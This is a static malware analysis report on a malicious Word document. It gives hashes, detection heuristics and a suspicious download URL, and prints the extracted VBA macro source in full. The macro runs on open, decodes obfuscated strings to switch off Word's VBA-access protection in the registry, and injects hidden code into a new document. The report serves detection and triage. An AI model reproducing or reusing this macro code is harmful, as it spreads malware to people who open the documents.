Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 eb9ea8a3bd7bb498…

MALICIOUS

Office (OOXML)

100.8 KB Created: 2021-04-28 04:47:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-10
MD5: eba5ea6d1f017a79d655b7d0a541b832 SHA-1: 9af570619ffb81660b4382f2faad97048139c461 SHA-256: eb9ea8a3bd7bb49830b7d028968d28b6e60b1eeeaca1e4dee6791670b9c680e1
132 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    structConstLen.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString repoADelete
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set bufIndexButton = CreateObject("msxml2.domdocument")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://better-transport-2008.com/bijol/EAkxDPfDCyCdm7Tl/35816/65693/62122/CKkCt5TY9td/gLnlhu8OTSbYWSayKY/a7JmyO0wKZyY49vWoeq83IpMTA3BfisOYNc7pB/76890o In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2851 bytes
SHA-256: e9271166ab3125ab888259fa3f5c6a44b5930d14c37cda391eba688b408f9979
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{E88E60C6-3C9A-4760-8EE7-AC98DF9EEE56}{6FF75B78-4401-4B3A-B040-F17F5C3D51AC}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "queryConst"
Sub autoopen()
procedureCountScreen
Dim WSizeDelete As String
WSizeDelete = mainStorageScreen
tempRepoTemp WSizeDelete
End Sub

Attribute VB_Name = "memCollection"
Function leftExceptionCount(variableABorder As String) As Variant
Dim bufIndexButton As Object
Dim trustArgument As Object
Set bufIndexButton = CreateObject("msxml2.domdocument")
Set trustArgument = bufIndexButton.createElement("code")
trustArgument.DataType = "bin.base64"
trustArgument.Text = variableABorder
leftExceptionCount = trustArgument.nodeTypedValue
End Function
Function swapCaptionA(procNamespaceLoad, tempLeftWindow)
swapCaptionA = StrConv(procNamespaceLoad, tempLeftWindow)
End Function

Attribute VB_Name = "globalTitleIterator"
Sub tempRepoTemp(repoADelete As String)
Set loadWPtr = CreateObject("word.application")
Set structConstLen = loadWPtr.Documents.Add
structConstLen.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString repoADelete
loadWPtr.Visible = False
loadWPtr.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "libRef"
Function libArray() As String
libArray = Application.Version
End Function
Function loadLib()
loadLib = "U5UX1VTRVJcU29mdHdhcmVcTWlj"
End Function
Function nextBufferPaste()
nextBufferPaste = "cript.sh"
End Function
Function copyViewResponse()
copyViewResponse = "VjdXJpdHlcQWN"
End Function
Sub procedureCountScreen()
countGlobal = swapCaptionA(leftExceptionCount("SEtFWV9DVVJSR" & loadLib & "cm9zb2Z0XE9mZmljZVw="), vbUnicode)
bufTextTemp = libArray
captionFuncClass = swapCaptionA(leftExceptionCount("XFdvcmRcU2" & copyViewResponse & "jZXNzVkJPTQ=="), vbUnicode)
windowRepoBuffer = countGlobal & bufTextTemp & captionFuncClass
With CreateObject("ws" & nextBufferPaste & "ell")
.RegWrite windowRepoBuffer, 1, "REG_DWORD"
End With
End Sub
Public Function clearException(ByVal WBufferA As String) As String
For ADelete = 1 To Len(WBufferA) Step 2
libLocal = Chr$(Val("&H" & Mid$(WBufferA, ADelete, 2)))
valueButtonCopy = valueButtonCopy & libLocal
Next ADelete
clearException = valueButtonCopy
End Function
Function mainStorageScreen()
mainStorageScreen = UserForm1.TextBox1
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 26624 bytes
SHA-256: b340d82647a66446b85e97259bf96646b6a01d31446127418f750ad9d9ab0d52
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).